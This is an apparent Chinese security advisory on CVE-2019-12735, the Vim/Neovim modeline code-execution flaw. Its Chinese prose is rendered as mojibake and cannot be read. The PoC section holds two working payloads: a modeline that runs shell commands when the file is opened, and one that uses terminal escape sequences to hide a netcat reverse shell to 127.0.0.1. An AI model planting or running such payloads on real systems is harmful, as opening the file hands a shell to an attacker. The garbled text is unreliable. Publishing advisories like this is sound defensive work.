VimºÍNeovimí§Òâ´úÂëÖ´ÐÐÎó²îÇ徲ͨ¸æ
Ðû²¼Ê±¼ä 2019-06-06Îó²î±àºÅºÍ¼¶±ð
CVE±àºÅ£ºCVE-2019-12735£¬£¬£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬£¬£¬CVSS·ÖÖµ£º8.6
ÊÜÓ°ÏìµÄ°æ±¾
Neovim < 0.3.6
Îó²î¸ÅÊö
VimÊÇÒ»¿î¹¦Ð§Ç¿Ê¢¡¢¸ß¶È¿É¶¨ÖƵÄÎı¾±à¼Æ÷¡£¡£¡£ÓÉÓÚVimÔÚ´úÂ벹ȫ¡¢±àÒë¼°Àû±ã±à³ÌµÈ·½ÃæºÜÊÇǿʢ£¬£¬£¬Òò´ËÔÚ³ÌÐòÔ±Öб»ÆÕ±éʹÓ㬣¬£¬³ÉΪÀàUnixϵͳÓû§×îϲ»¶µÄÎı¾±à¼Æ÷Ö®Ò»¡£¡£¡£
Îı¾±à¼Æ÷Vim/Neovim±£´æÑÏÖØÎó²î£¬£¬£¬Í¨¹ý·¿ªÌØÊâ½á¹¹µÄÎı¾Îļþ£¬£¬£¬Ä£Ê½ÐÐÑ¡Ïîδ±»½ûÓõϰ£¬£¬£¬¾Í¿Éµ¼ÖÂVim/Neovimí§Òâ´úÂëÖ´ÐÐÎó²î¡£¡£¡£Îó²î³ÉÒòÊÇģʽÐÐÖнöÔÊÐíÑ¡Ïî×Ó¼¯£¬£¬£¬ÈôÊÇÑ¡ÏîµÄÖµ°üÀ¨Ò»¸ö±í´ïʽ£¬£¬£¬¾Í¿ÉÒÔÔÚɳÏäÖÐÔËÐС£¡£¡£:source! ÏÂÁî¿ÉÈÆ¹ýɳÏ䣬£¬£¬Ëü¿ÉÒԴӼȶ¨ÎļþÖжÁÈ¡²¢Ö´ÐÐÏÂÁ£¬£¬Òò´Ë¿ÉÒÔÇáËɹ¹½¨ÔÚɳÏäÍâÔÊÐíÔËÐдúÂëµÄģʽÐС£¡£¡£
Îó²îÑéÖ¤
POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md¡£¡£¡£
²âÊÔ°æ±¾ÈçÏ£º

1¡¢½¨Éèpoc.txt
:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2¡¢È·±£Î´½ûÓÃmodelineÑ¡Ïî(:set modeline)
ʹÓÃÈçÏÂÏÂÁîÉó²éÏÂÁîλÖÃ
ÈçÏ£º
3¡¢ÔÚvimÖз¿ª¸Ãtxt
È»ºóϵͳ»áÖ´ÐÐ uname -a&&whoami
µÚ¶þÖÖ£¬£¬£¬½¨Éè·´µ¯shell
±ðµÄ£¬£¬£¬µ±Ê¹ÓÃcat´òÓ¡ÄÚÈÝʱ£¬£¬£¬PoCʹÓÃÖÕ¶ËתÒåÐòÁÐÀ´Òþ²ØÏÂÁîÐС£¡£¡££¨¶øÊ¹ÓÃcat -v¿ÉÒÔÏÔʾÏÖʵÄÚÈÝ¡£¡£¡££©
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
ÐÞ¸´½¨Òé
Éý¼¶µ½Vim 8.1.1365¡¢Neovim 0.3.6»òÒÔÉϰ汾£¬£¬£¬±ðµÄ½¨Òé½ûÓÃģʽÐУ¬£¬£¬Ê¹ÓÃsecuremodelines²å¼þ¡£¡£¡£
https://github.com/vim/vim/commit/5357552
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
²Î¿¼Á´½Ó